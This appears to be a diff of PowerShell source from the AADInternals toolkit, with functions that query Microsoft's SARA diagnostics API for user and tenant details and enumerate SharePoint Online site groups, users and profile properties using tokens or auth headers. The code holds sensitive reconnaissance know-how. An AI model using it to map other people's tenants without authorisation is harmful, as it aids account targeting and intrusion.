Install-Module AADInternals
|
||||
```
|
||||
@@ -0,0 +1,534 @@
|
||||
# This script contains functions used in Microsoft Support and Recovery Assistant (SARA)
|
||||
|
||||
|
||||
|
||||
# Sep 23rd 2021
|
||||
function Get-SARAUserInfo
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets user information using SARA API
|
||||
|
||||
.DESCRIPTION
|
||||
Gets user information using Microsoft Support and Recovery Assistant (SARA) API
|
||||
|
||||
.Parameter AccessToken
|
||||
Access Token
|
||||
|
||||
.Example
|
||||
$at=Get-AADIntAccessTokenForSARA
|
||||
PS C:\>Get-AADIntSARAUserInfo -AccessToken $at
|
||||
|
||||
AnalyzerName : AnalysisRule, Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets.GetUserAnalyzer, Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets, Version=16.0.3144.0, Culture=
|
||||
neutral, PublicKeyToken=31bf3856ad364e35
|
||||
AnalyzerDesc : Attempting to get information about user "user@company.com".
|
||||
StartTime : 2019-07-08T12:29:40.4911399Z
|
||||
Duration : 00:00:51.1166849
|
||||
CoreDuration : 00:00:51.1166849
|
||||
WaitingDuration : 00:00:00
|
||||
TotalChildrenDuration : 00:00:00
|
||||
TotalWaitingDuration : 00:00:00
|
||||
ParentId : 00000000-0000-0000-0000-000000000000
|
||||
Value : true
|
||||
ResultTitle : Extracting information about Office 365 user is completed.
|
||||
ResultTitleId : Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets.StringsGetUserComplete
|
||||
UserMessage : Successfully got the user information for "user@company.com".
|
||||
UserMessageId : Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets.StringsGetUserSuccessDesc
|
||||
AdminMessage :
|
||||
SupportMessage :
|
||||
IsMessageShown : False
|
||||
GenericInfo :
|
||||
Severity : 2
|
||||
OverridesChildren : False
|
||||
ProblemId : 00000000-0000-0000-0000-000000000000
|
||||
TimeCached : 0001-01-01T00:00:00
|
||||
SaraSymptomId : 00000000-0000-0000-0000-000000000000
|
||||
SaraWorkflowRunId : 00000000-0000-0000-0000-000000000000
|
||||
SaraSymptomRunId : 00000000-0000-0000-0000-000000000000
|
||||
SaraSessionId : 00000000-0000-0000-0000-000000000000
|
||||
Id : d5b4c239-7619-4367-9ccb-e9fe2fe01e23
|
||||
|
||||
DisplayName : Demo USer
|
||||
FirstName : Demo
|
||||
Guid : 67a93665-decb-4058-b42a-271d41c47c61
|
||||
Id :
|
||||
Identity : EURP185A001.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizations/demoo365life4.onmicrosoft.com/AdminO365life
|
||||
IsDirSynced : False
|
||||
IsValid : True
|
||||
LastName : User
|
||||
MicrosoftOnlineServicesID : user@company.com
|
||||
Name : DemoUser
|
||||
NetID : 401320004BA7A415
|
||||
RecipientType : UserMailbox
|
||||
RecipientTypeDetails : UserMailbox
|
||||
UserPrincipalName : user@company.com
|
||||
WindowsEmailAddress : user@company.com
|
||||
WindowsLiveID : user@company.com
|
||||
IsHybridTenant : False
|
||||
Forest : EURP185.PROD.OUTLOOK.COM
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('NotSet','HrcCloud','HrcCmd','Sara','MsftSupportModeSara','SaraCloud','QTest')]
|
||||
[String]$ExecutionEnvironment='SaraCloud'
|
||||
)
|
||||
Begin
|
||||
{
|
||||
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com"
|
||||
|
||||
if(!$UserName)
|
||||
{
|
||||
$userName = (Read-Accesstoken $AccessToken).upn
|
||||
}
|
||||
|
||||
$userInformation = [ordered]@{"UserName" = $UserName}
|
||||
|
||||
#
|
||||
# TenantUserInfo
|
||||
#
|
||||
|
||||
Write-Verbose "TenantUserInfo"
|
||||
|
||||
$body=@{
|
||||
"Symptom" = "TenantUserInfo"
|
||||
"RequestTimeoutInMs" = 180000
|
||||
"Parameters" = @(
|
||||
@{
|
||||
"Name" = "AffectedUser"
|
||||
"Value" = $UserName #.Split("@")[1]
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "Symptom"
|
||||
"Value" = "TenantUserInfo"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "ScenarioSymptom"
|
||||
"Value" = "TenantUserInfo"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
|
||||
}
|
||||
@{
|
||||
"Name" = "UserPuid"
|
||||
"Value" = ""
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
|
||||
}
|
||||
@{
|
||||
"Name" = "CorrelationId"
|
||||
"Value" = ""
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
|
||||
}
|
||||
@{
|
||||
"Name" = "TargetService"
|
||||
"Value" = "Exchange"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
|
||||
}
|
||||
@{
|
||||
"Name" = "IsMsaUser"
|
||||
"Value" = $False
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
|
||||
}
|
||||
@{
|
||||
"Name" = "MailboxClient"
|
||||
"Value" = "Outlook"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
|
||||
}
|
||||
@{
|
||||
"Name" = "TestHook"
|
||||
"Value" = ""
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
|
||||
}
|
||||
|
||||
)
|
||||
}
|
||||
|
||||
$response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck"
|
||||
|
||||
if($response.ProcessingStatus -eq "Succeeded")
|
||||
{
|
||||
$additionalInfo = $response.AdditionalInfo | ConvertFrom-Json
|
||||
|
||||
if($additionalInfo.IsSuccess -eq "true")
|
||||
{
|
||||
$item = ([xml]$additionalInfo.TenantUserInfo).TenantUserInfo.FirstChild
|
||||
while($item)
|
||||
{
|
||||
if($item.name -eq "LicenseInformations")
|
||||
{
|
||||
$userInformation[$item.Name] = $item.InnerXml
|
||||
}
|
||||
else
|
||||
{
|
||||
$userInformation[$item.Name] = $item.InnerText
|
||||
}
|
||||
$item = $item.NextSibling
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
#
|
||||
# CasMailbox
|
||||
#
|
||||
|
||||
Write-Verbose "CasMailBox"
|
||||
|
||||
$body=@{
|
||||
"Symptom" = "CasMailbox"
|
||||
"RequestTimeoutInMs" = 180000
|
||||
"Parameters" = @(
|
||||
@{
|
||||
"Name" = "AffectedUser"
|
||||
"Value" = $UserName
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "MailboxClient"
|
||||
"Value" = "Outlook"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "Symptom"
|
||||
"Value" = "CasMailbox"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "ScenarioSymptom"
|
||||
"Value" = "CasMailbox"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
$response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck"
|
||||
|
||||
if($response.ProcessingStatus -eq "Succeeded")
|
||||
{
|
||||
|
||||
$userInformation["CASInfo"] = $response.MessageToUser
|
||||
}
|
||||
|
||||
#
|
||||
# GetUserDiagnostic
|
||||
#
|
||||
|
||||
Write-Verbose "GetUserDiagnostic"
|
||||
|
||||
$body=@{
|
||||
"UserUpn" = $parsedToken.upn
|
||||
"UserSMTPEmail" = $parsedToken.upn
|
||||
"Symptom" = "GetUserDiagnostic"
|
||||
"RequestTimeoutInMs" = 180000
|
||||
"Parameters" = @(
|
||||
@{
|
||||
"Name" = "AffectedUser"
|
||||
"Value" = $UserName
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "Symptom"
|
||||
"Value" = "GetUserDiagnostic"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "ScenarioSymptom"
|
||||
"Value" = "GetUser"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
$response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck"
|
||||
|
||||
if($response.ProcessingStatus -eq "Succeeded")
|
||||
{
|
||||
|
||||
$additionalInfo = $response.AdditionalInfo | ConvertFrom-Json
|
||||
|
||||
if($additionalInfo.IsSuccess -eq "true")
|
||||
{
|
||||
$userInfo = [xml]$additionalInfo.UserInfo
|
||||
$item = $userInfo.UserInfo.FirstChild
|
||||
while($item)
|
||||
{
|
||||
|
||||
$userInformation[$item.Name] = $item.InnerText
|
||||
|
||||
$item = $item.NextSibling
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Warning $additionalInfo.ErrorInfo.Split("`n")[0]
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
New-Object psobject -Property $userInformation
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Sep 23rd 2021
|
||||
function Get-SARATenantInfo
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='AccessToken', Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('ExchangeHybridTenant','DirSyncCheck')]
|
||||
[String[]]$Tests=@('ExchangeHybridTenant','DirSyncCheck')
|
||||
)
|
||||
Begin
|
||||
{
|
||||
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com"
|
||||
|
||||
$parsedToken = Read-Accesstoken $AccessToken
|
||||
|
||||
if(!$UserName)
|
||||
{
|
||||
$userName = $parsedToken.upn
|
||||
}
|
||||
|
||||
$tenantInfo = [ordered]@{
|
||||
"Domain" = $UserName.Split("@")[1]
|
||||
}
|
||||
|
||||
|
||||
#
|
||||
# ExchangeHybridTenant Check
|
||||
#
|
||||
|
||||
if($Tests -contains "ExchangeHybridTenant")
|
||||
{
|
||||
Write-Verbose "ExchangeHybridTenant"
|
||||
|
||||
$body=@{
|
||||
"Symptom" = "ExchangeHybridTenant"
|
||||
"RequestTimeoutInMs" = 180000
|
||||
"Parameters" = @(
|
||||
@{
|
||||
"Name" = "AffectedUser"
|
||||
"Value" = $UserName
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "ExchangeHybridTenantClient"
|
||||
"Value" = "OutlookFreeBusy"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "Symptom"
|
||||
"Value" = "ExchangeHybridTenant"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "ScenarioSymptom"
|
||||
"Value" = "ExchangeHybridTenant"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
$response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck"
|
||||
if($response.AdditionalInfo)
|
||||
{
|
||||
$additionalInfo = ($response.AdditionalInfo | ConvertFrom-Json)
|
||||
|
||||
if($additionalInfo.Category -eq "S")
|
||||
{
|
||||
$hybridInfoXML = ([xml]($response.AdditionalInfo | ConvertFrom-Json).OrganizationRelationShipInfo).HybridInfo
|
||||
|
||||
$orgRels = @()
|
||||
$onPrems = @()
|
||||
|
||||
foreach($rel in $hybridInfoXML.OrganizationRelationShips.OrganizationRelationShip)
|
||||
{
|
||||
$orgRels += New-Object psobject -Property @{
|
||||
"FreeBusyAccessLevel" = $rel.FreeBusyAccessLevel
|
||||
"FreeBusyEnabled" = $rel.FreeBusyEnabled
|
||||
"Identity" = $rel.Identity
|
||||
"IsValid" = $rel.IsValid
|
||||
}
|
||||
}
|
||||
foreach($rel in $hybridInfoXML.OnPremOrganizationRelationShips.OnPremOrganizationRelationShip)
|
||||
{
|
||||
$onPrems += New-Object psobject -Property @{
|
||||
"FreeBusyAccessLevel" = $rel.FreeBusyAccessLevel
|
||||
"OrganizationGuid" = $rel.OrganizationGuid
|
||||
"OrganizationName" = $rel.OrganizationName
|
||||
"OrganizationRelationship" = $rel.OrganizationRelationship
|
||||
}
|
||||
}
|
||||
$tenantInfo["IsHybrid"] = $additionalInfo.isHybrid
|
||||
$tenantInfo["OrganizationRelationShips"] = $orgRels
|
||||
$tenantInfo["OnPremOrganizationRelationShips"] = $onPrems
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Warning "ExchangeHybridTenant error $($additionalInfo.ScenarioResultName)"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
#
|
||||
# DirSyncCheck
|
||||
#
|
||||
|
||||
if($Tests -contains "DirSyncCheck")
|
||||
{
|
||||
Write-Verbose "DirSyncCheck"
|
||||
|
||||
$body=@{
|
||||
"Symptom" = "DirSyncCheck"
|
||||
"RequestTimeoutInMs" = 180000
|
||||
"Parameters" = @(
|
||||
@{
|
||||
"Name" = "TenantDomain"
|
||||
"Value" = $UserName.Split("@")[1]
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "Symptom"
|
||||
"Value" = "DirSyncCheck"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "ScenarioSymptom"
|
||||
"Value" = "DirSyncCheck"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
$response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck"
|
||||
|
||||
$tenantInfo["DirSync"] = $response.MessageToAdmin
|
||||
|
||||
}
|
||||
# Return
|
||||
New-Object psobject -Property $tenantInfo
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Sep 23rd 2021
|
||||
function Get-SARAFreeBusyInformation
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$TargetUser
|
||||
)
|
||||
Begin
|
||||
{
|
||||
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com"
|
||||
|
||||
if(!$UserName)
|
||||
{
|
||||
$userName = (Read-Accesstoken $AccessToken).upn
|
||||
}
|
||||
|
||||
#
|
||||
# FreeBusyTenantUserInfo
|
||||
#
|
||||
|
||||
Write-Verbose "FreeBusyTenantUserInfo"
|
||||
|
||||
$body=@{
|
||||
"Symptom" = "FreeBusyTenantUserInfo"
|
||||
"RequestTimeoutInMs" = 180000
|
||||
"Parameters" = @(
|
||||
@{
|
||||
"Name" = "AffectedUser"
|
||||
"Value" = $UserName
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "Symptom"
|
||||
"Value" = "FreeBusyTenantUserInfo"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
}
|
||||
@{
|
||||
"Name" = "ScenarioSymptom"
|
||||
"Value" = "FreeBusyTenantUserInfo"
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
|
||||
}
|
||||
@{
|
||||
"Name" = "TargetSmtpAddress"
|
||||
"Value" = $TargetUser
|
||||
"ComplianceClassification" = "Identifiable"
|
||||
|
||||
}
|
||||
|
||||
|
||||
)
|
||||
}
|
||||
|
||||
$response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck"
|
||||
|
||||
if($response.ProcessingStatus -eq "Succeeded")
|
||||
{
|
||||
|
||||
$additionalInfo = $response.AdditionalInfo | ConvertFrom-Json
|
||||
|
||||
if($additionalInfo.IsSuccess -eq "true")
|
||||
{
|
||||
return $response.MessageToUser
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Error $response.MessageToUser
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
|
||||
# Jul 8th 2019
|
||||
function Call-AnalysisAPI
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[ValidateSet('userInfo','tenantInfo','cloudCheck')]
|
||||
[String]$Command,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Body,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Url="https://api.diagnostics.office.com/v1/analysis"
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$headers =@{
|
||||
"Content-Type" = "application/json;odata=verbose"
|
||||
"Accept" = "application/json; charset=utf-8"
|
||||
"Authorization" = $(Create-AuthorizationHeader -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com")
|
||||
"x-ms-sara-api-version" = "schema-v1"
|
||||
"User-Agent" = "saraclient"
|
||||
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -Method Post -Body $body -Headers $headers
|
||||
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Okay, something went wrong
|
||||
return $null
|
||||
}
|
||||
|
||||
if($url.EndsWith("/analysis"))
|
||||
{
|
||||
$sessionId = $response.SessionId
|
||||
}
|
||||
else
|
||||
{
|
||||
$sessionId = $response.RequestId
|
||||
}
|
||||
|
||||
while($response.RequestStatus -ne "Completed" -and $response.RequestStatus -ne "Failed")
|
||||
{
|
||||
Write-Host "Retrieving information.."
|
||||
sleep -Seconds "2"
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "$url/?id=$sessionId" -Method Get -Headers $headers
|
||||
}
|
||||
|
||||
# Return
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,656 @@
|
||||
# Functions for SharePoint Online
|
||||
|
||||
|
||||
# Jul 17th 2019
|
||||
function Get-SPOSiteGroups
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets list of groups of SharePoint Online site
|
||||
|
||||
.DESCRIPTION
|
||||
Gets list of groups of SharePoint Online site the user has access to.
|
||||
|
||||
.Parameter Site
|
||||
Url of the SharePoint site
|
||||
|
||||
.Parameter AuthHeader
|
||||
SharePoint Online authentication header
|
||||
|
||||
.Example
|
||||
PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
|
||||
PS C:\>Get-AADIntSPOSiteGroups -Site https://company.sharepoint.com/sales -AuthHeader $auth
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Site,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AuthHeader,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the site url
|
||||
if($Site.EndsWith("/"))
|
||||
{
|
||||
$Site=$Site.Substring(0,$Site.Length-1)
|
||||
}
|
||||
|
||||
$siteDomain=$Site.Split("/")[2]
|
||||
|
||||
if(![string]::IsNullOrEmpty($AuthHeader))
|
||||
{
|
||||
# Create a WebSession object
|
||||
$siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain
|
||||
}
|
||||
else
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource $site -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
}
|
||||
|
||||
# Invoke the request
|
||||
$response=Invoke-WebRequest -UseBasicParsing -Uri "$Site/_api/web/sitegroups" -Method Get -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $headers
|
||||
|
||||
if($response.StatusCode -eq 200)
|
||||
{
|
||||
[xml]$response=$response.Content
|
||||
|
||||
|
||||
$users=New-Object System.Collections.ArrayList
|
||||
|
||||
# Loop through the entries
|
||||
foreach($entry in $response.feed.entry)
|
||||
{
|
||||
$attributes = @{}
|
||||
$attributes["Id"] = $entry.content.properties.Id.'#Text'
|
||||
$attributes["IsHiddenInUI"] = $entry.content.properties.IsHiddenInUI.'#Text' -eq "true"
|
||||
$attributes["LoginName"] = $entry.content.properties.LoginName
|
||||
$attributes["Title"] = $entry.content.properties.Title
|
||||
$attributes["PrincipalType"] = $entry.content.properties.PrincipalType.'#Text'
|
||||
$attributes["OwnerTitle"] = $entry.content.properties.OwnerTitle
|
||||
$attributes["Description"] = $entry.content.properties.Description.'#Text'
|
||||
|
||||
$attributes["AllowMembersEditMembership"] = $entry.content.properties.AllowMembersEditMembership.'#Text' -eq "true"
|
||||
$attributes["AllowRequestToJoinLeave"] = $entry.content.properties.AllowRequestToJoinLeave.'#Text' -eq "true"
|
||||
$attributes["AutoAcceptRequestToJoinLeave"] = $entry.content.properties.AutoAcceptRequestToJoinLeave.'#Text' -eq "true"
|
||||
$attributes["OnlyAllowMembersViewMembership"] = $entry.content.properties.OnlyAllowMembersViewMembership.'#Text' -eq "true"
|
||||
|
||||
$users+=New-Object PSObject -Property $attributes
|
||||
}
|
||||
|
||||
# Return
|
||||
return $users
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Jul 17th 2019
|
||||
function Get-SPOSiteUsers
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets list of users of SharePoint Online site
|
||||
|
||||
.DESCRIPTION
|
||||
Gets list of users of SharePoint Online site the user has access to.
|
||||
|
||||
.Parameter Site
|
||||
Url of the SharePoint site
|
||||
|
||||
.Parameter AuthHeader
|
||||
SharePoint Online authentication header
|
||||
|
||||
.Example
|
||||
PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
|
||||
PS C:\>Get-AADIntSPOSiteUsers -Site https://company.sharepoint.com/sales -AuthHeader $auth
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Site,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AuthHeader,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the site url
|
||||
if($Site.EndsWith("/"))
|
||||
{
|
||||
$Site=$Site.Substring(0,$Site.Length-1)
|
||||
}
|
||||
|
||||
$siteDomain=$Site.Split("/")[2]
|
||||
|
||||
if(![string]::IsNullOrEmpty($AuthHeader))
|
||||
{
|
||||
# Create a WebSession object
|
||||
$siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain
|
||||
}
|
||||
else
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
}
|
||||
|
||||
# Invoke the request
|
||||
$response=Invoke-WebRequest -UseBasicParsing -Uri "$Site/_api/web/siteusers" -Method Get -WebSession $siteSession -Headers $headers -ErrorAction SilentlyContinue
|
||||
|
||||
if($response.StatusCode -eq 200)
|
||||
{
|
||||
[xml]$response=$response.Content
|
||||
|
||||
|
||||
$users=New-Object System.Collections.ArrayList
|
||||
|
||||
# Loop through the entries
|
||||
foreach($entry in $response.feed.entry)
|
||||
{
|
||||
$attributes = @{}
|
||||
$attributes["Id"] = $entry.content.properties.Id.'#Text'
|
||||
$attributes["IsHiddenInUI"] = $entry.content.properties.IsHiddenInUI.'#Text' -eq "true"
|
||||
$attributes["LoginName"] = $entry.content.properties.LoginName
|
||||
$attributes["Title"] = $entry.content.properties.Title
|
||||
$attributes["PrincipalType"] = $entry.content.properties.PrincipalType.'#Text'
|
||||
$attributes["Email"] = $entry.content.properties.Email
|
||||
$attributes["IsEmailAuthenticationGuestUser"] = $entry.content.properties.IsEmailAuthenticationGuestUser.'#Text' -eq "true"
|
||||
$attributes["IsShareByEmailGuestUser"] = $entry.content.properties.IsShareByEmailGuestUser.'#Text' -eq "true"
|
||||
$attributes["IsSiteAdmin"] = $entry.content.properties.IsSiteAdmin.'#Text' -eq "true"
|
||||
$attributes["NameId"] = $entry.content.properties.UserId.NameId
|
||||
$attributes["NameIdIssuer"] = $entry.content.properties.UserId.NameIdIssuer
|
||||
|
||||
|
||||
if($entry.content.properties.UserPrincipalName.GetType().Name -eq "String")
|
||||
{
|
||||
$attributes["UserPrincipalName"] = $entry.content.properties.UserPrincipalName
|
||||
}
|
||||
else
|
||||
{
|
||||
$attributes["UserPrincipalName"] = ""
|
||||
}
|
||||
|
||||
$users+=New-Object PSObject -Property $attributes
|
||||
}
|
||||
|
||||
# Return
|
||||
return $users
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Jul 18th 2019
|
||||
function Get-SPOUserProperties
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets properties of SharePoint Online user
|
||||
|
||||
.DESCRIPTION
|
||||
Gets properties of SharePoint Online user using PeopleManager API
|
||||
|
||||
.Parameter Site
|
||||
Url of the SharePoint site
|
||||
|
||||
.Parameter User
|
||||
SharePoint Online authentication header
|
||||
|
||||
.Parameter AuthHeader
|
||||
LoginName of the user in format "i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint"
|
||||
|
||||
.Example
|
||||
PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
|
||||
PS C:\>Get-AADIntSPOUserProperties -Site https://company.sharepoint.com/sales -AuthHeader $auth -User "i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint"
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Site,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$User,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AuthHeader
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the site url
|
||||
if($Site.EndsWith("/"))
|
||||
{
|
||||
$Site=$Site.Substring(0,$Site.Length-1)
|
||||
}
|
||||
|
||||
$User=$User.Replace("#","%23")
|
||||
|
||||
$siteDomain=$Site.Split("/")[2]
|
||||
|
||||
# Create a WebSession object
|
||||
$siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain
|
||||
|
||||
# Invoke the request
|
||||
$response=Invoke-WebRequest -UseBasicParsing -Uri "$Site/_api/sp.userprofiles.peoplemanager/getpropertiesfor(@v)?@v='$User'" -Method Get -WebSession $siteSession -ErrorAction SilentlyContinue
|
||||
|
||||
if($response.StatusCode -eq 200)
|
||||
{
|
||||
[xml]$response=$response.Content
|
||||
$entry=$response.entry
|
||||
|
||||
$attributes = [ordered]@{}
|
||||
|
||||
$attributes["Updated"] = $response.entry.Updated
|
||||
$attributes["Author"] = $response.entry.Author.Name
|
||||
|
||||
$properties = $response.entry.content.properties
|
||||
$attributes["AccountName"] = $properties.AccountName
|
||||
$attributes["DirectReports"] = Create-ListFromCollection $properties.DirectReports
|
||||
$attributes["DisplayName"] = $properties.DisplayName
|
||||
$attributes["Email"] = $properties.Email
|
||||
$attributes["ExtendedManagers"] = Create-ListFromCollection $properties.ExtendedManagers
|
||||
$attributes["ExtendedReports"] = Create-ListFromCollection $properties.ExtendedReports
|
||||
$attributes["IsFollowed"] = $properties.IsFollowed -eq "true"
|
||||
#$attributes["LatestPost"] = $properties.LatestPost
|
||||
$attributes["Peers"] = Create-ListFromCollection $properties.Peers
|
||||
#$attributes["PersonalSiteHostUrl"] = $properties.PersonalSiteHostUrl
|
||||
$attributes["PersonalUrl"] = [System.Net.WebUtility]::UrlDecode($properties.PersonalUrl)
|
||||
$attributes["PictureUrl"] = [System.Net.WebUtility]::UrlDecode($properties.PictureUrl)
|
||||
$attributes["UserUrl"] = [System.Net.WebUtility]::UrlDecode($properties.UserUrl)
|
||||
$attributes["Title"] = $properties.Title
|
||||
|
||||
# Loop through the userprofile fields
|
||||
foreach($up in $properties.UserProfileProperties.Element)
|
||||
{
|
||||
$name = $up.Key
|
||||
$value = $up.Value
|
||||
$attributes[$name] = $value
|
||||
}
|
||||
|
||||
# Return
|
||||
New-Object PSObject -Property $attributes
|
||||
